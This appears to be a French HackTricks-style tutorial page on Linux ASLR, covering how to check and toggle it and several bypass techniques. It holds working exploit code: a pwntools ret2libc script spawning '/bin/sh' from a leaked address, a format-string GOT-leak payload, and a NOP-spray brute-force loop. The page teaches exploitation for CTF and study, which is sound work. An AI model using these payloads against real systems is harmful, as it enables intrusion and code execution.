285 lines
14 KiB
Markdown

# ASLR
{{#include ../../../banners/hacktricks-training.md}}
## Informations de base
**Address Space Layout Randomization (ASLR)** est une technique de sécurité utilisée dans les systèmes d'exploitation pour **randomiser les adresses mémoire** utilisées par les processus système et d'application. Ce faisant, cela rend beaucoup plus difficile pour un attaquant de prédire l'emplacement de processus et de données spécifiques, tels que la pile, le tas et les bibliothèques, atténuant ainsi certains types d'exploits, en particulier les débordements de tampon.
### **Vérification de l'état d'ASLR**
Pour **vérifier** l'état d'ASLR sur un système Linux, vous pouvez lire la valeur dans le fichier **`/proc/sys/kernel/randomize_va_space`**. La valeur stockée dans ce fichier détermine le type d'ASLR appliqué :
- **0** : Pas de randomisation. Tout est statique.
- **1** : Randomisation conservatrice. Les bibliothèques partagées, la pile, mmap(), la page VDSO sont randomisées.
- **2** : Randomisation complète. En plus des éléments randomisés par la randomisation conservatrice, la mémoire gérée par `brk()` est randomisée.
Vous pouvez vérifier l'état d'ASLR avec la commande suivante :
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Désactiver ASLR**
Pour **désactiver** ASLR, vous devez définir la valeur de `/proc/sys/kernel/randomize_va_space` à **0**. Désactiver ASLR n'est généralement pas recommandé en dehors des scénarios de test ou de débogage. Voici comment vous pouvez le désactiver :
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Vous pouvez également désactiver ASLR pour une exécution avec :
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Activation de l'ASLR**
Pour **activer** l'ASLR, vous pouvez écrire une valeur de **2** dans le fichier `/proc/sys/kernel/randomize_va_space`. Cela nécessite généralement des privilèges root. L'activation de la randomisation complète peut être effectuée avec la commande suivante :
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Persistance à travers les redémarrages**
Les modifications apportées avec les commandes `echo` sont temporaires et seront réinitialisées lors du redémarrage. Pour rendre la modification persistante, vous devez éditer le fichier `/etc/sysctl.conf` et ajouter ou modifier la ligne suivante :
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Après avoir modifié `/etc/sysctl.conf`, appliquez les changements avec :
```bash
sudo sysctl -p
```
Cela garantira que vos paramètres ASLR restent inchangés après les redémarrages.
## **Contournements**
### Force brute 32 bits
PaX divise l'espace d'adresses du processus en **3 groupes** :
- **Code et données** (initialisées et non initialisées) : `.text`, `.data`, et `.bss` —> **16 bits** d'entropie dans la variable `delta_exec`. Cette variable est initialisée aléatoirement avec chaque processus et ajoutée aux adresses initiales.
- **Mémoire** allouée par `mmap()` et **bibliothèques partagées** —> **16 bits**, nommés `delta_mmap`.
- **La pile** —> **24 bits**, appelée `delta_stack`. Cependant, elle utilise effectivement **11 bits** (du 10ème au 20ème octet inclus), alignés sur **16 octets** —> Cela donne **524,288 adresses de pile réelles possibles**.
Les données précédentes concernent les systèmes 32 bits et l'entropie finale réduite permet de contourner l'ASLR en réessayant l'exécution encore et encore jusqu'à ce que l'exploit réussisse.
#### Idées de force brute :
- Si vous avez un débordement suffisamment grand pour accueillir un **grand NOP sled avant le shellcode**, vous pourriez simplement forcer les adresses dans la pile jusqu'à ce que le flux **saute par-dessus une partie du NOP sled**.
- Une autre option dans ce cas, si le débordement n'est pas si grand et que l'exploit peut être exécuté localement, est de **ajouter le NOP sled et le shellcode dans une variable d'environnement**.
- Si l'exploit est local, vous pouvez essayer de forcer l'adresse de base de libc (utile pour les systèmes 32 bits) :
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- Si vous attaquez un serveur distant, vous pourriez essayer de **forcer l'adresse de la fonction `libc` `usleep`**, en passant comme argument 10 (par exemple). Si à un moment donné le **serveur met 10s de plus à répondre**, vous avez trouvé l'adresse de cette fonction.
> [!TIP]
> Dans les systèmes 64 bits, l'entropie est beaucoup plus élevée et cela ne devrait pas être possible.
### Bruteforce de la pile 64 bits
Il est possible d'occuper une grande partie de la pile avec des variables d'environnement et ensuite essayer d'abuser du binaire des centaines/milliers de fois localement pour l'exploiter.\
Le code suivant montre comment il est possible de **juste sélectionner une adresse dans la pile** et chaque **quelques centaines d'exécutions**, cette adresse contiendra l'**instruction NOP** :
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
```python
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Informations locales (`/proc/[pid]/stat`)
Le fichier **`/proc/[pid]/stat`** d'un processus est toujours lisible par tout le monde et il **contient des informations intéressantes** telles que :
- **startcode** & **endcode** : Adresses au-dessus et en dessous avec le **TEXT** du binaire
- **startstack** : L'adresse du début de la **pile**
- **start_data** & **end_data** : Adresses au-dessus et en dessous où se trouve le **BSS**
- **kstkesp** & **kstkeip** : Adresses actuelles de **ESP** et **EIP**
- **arg_start** & **arg_end** : Adresses au-dessus et en dessous où se trouvent les **arguments cli**.
- **env_start** & **env_end** : Adresses au-dessus et en dessous où se trouvent les **variables d'environnement**.
Par conséquent, si l'attaquant est sur le même ordinateur que le binaire exploité et que ce binaire ne s'attend pas à un débordement provenant d'arguments bruts, mais d'une **entrée qui peut être façonnée après avoir lu ce fichier**. Il est possible pour un attaquant de **récupérer certaines adresses de ce fichier et de construire des décalages à partir de celles-ci pour l'exploitation**.
> [!TIP]
> Pour plus d'informations sur ce fichier, consultez [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) en recherchant `/proc/pid/stat`
### Avoir une fuite
- **Le défi est de donner une fuite**
Si vous recevez une fuite (défis CTF faciles), vous pouvez calculer des décalages à partir de celle-ci (en supposant par exemple que vous connaissez la version exacte de libc utilisée dans le système que vous exploitez). Cet exemple d'exploitation est extrait de [**l'exemple d'ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consultez cette page pour plus de détails) :
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
- **ret2plt**
En abusant d'un débordement de tampon, il serait possible d'exploiter un **ret2plt** pour exfiltrer une adresse d'une fonction de la libc. Vérifiez :
{{#ref}}
ret2plt.md
{{#endref}}
- **Format Strings Arbitrary Read**
Tout comme dans ret2plt, si vous avez une lecture arbitraire via une vulnérabilité de chaînes de format, il est possible d'exfiltrer l'adresse d'une **fonction libc** depuis le GOT. L'exemple suivant [**est tiré d'ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got) :
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Vous pouvez trouver plus d'infos sur la lecture arbitraire des chaînes de format dans :
{{#ref}}
../../format-strings/
{{#endref}}
### Ret2ret & Ret2pop
Essayez de contourner ASLR en abusant des adresses à l'intérieur de la pile :
{{#ref}}
ret2ret.md
{{#endref}}
### vsyscall
Le mécanisme **`vsyscall`** sert à améliorer les performances en permettant à certains appels système d'être exécutés dans l'espace utilisateur, bien qu'ils fassent fondamentalement partie du noyau. L'avantage critique des **vsyscalls** réside dans leurs **adresses fixes**, qui ne sont pas soumises à **ASLR** (Randomisation de la disposition de l'espace d'adresses). Cette nature fixe signifie que les attaquants n'ont pas besoin d'une vulnérabilité de fuite d'information pour déterminer leurs adresses et les utiliser dans un exploit.\
Cependant, aucun gadget super intéressant ne sera trouvé ici (bien qu'il soit par exemple possible d'obtenir un équivalent de `ret;`)
(L'exemple et le code suivants proviennent de [**ce rapport**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
Par exemple, un attaquant pourrait utiliser l'adresse `0xffffffffff600800` dans un exploit. Bien que tenter de sauter directement à une instruction `ret` puisse entraîner une instabilité ou des plantages après l'exécution de quelques gadgets, sauter au début d'un `syscall` fourni par la section **vsyscall** peut s'avérer réussi. En plaçant soigneusement un gadget **ROP** qui dirige l'exécution vers cette adresse **vsyscall**, un attaquant peut réaliser une exécution de code sans avoir besoin de contourner **ASLR** pour cette partie de l'exploit.
```
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Notez donc comment il pourrait être possible de **contourner ASLR en abusant du vdso** si le noyau est compilé avec CONFIG_COMPAT_VDSO car l'adresse vdso ne sera pas randomisée. Pour plus d'infos, consultez :
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}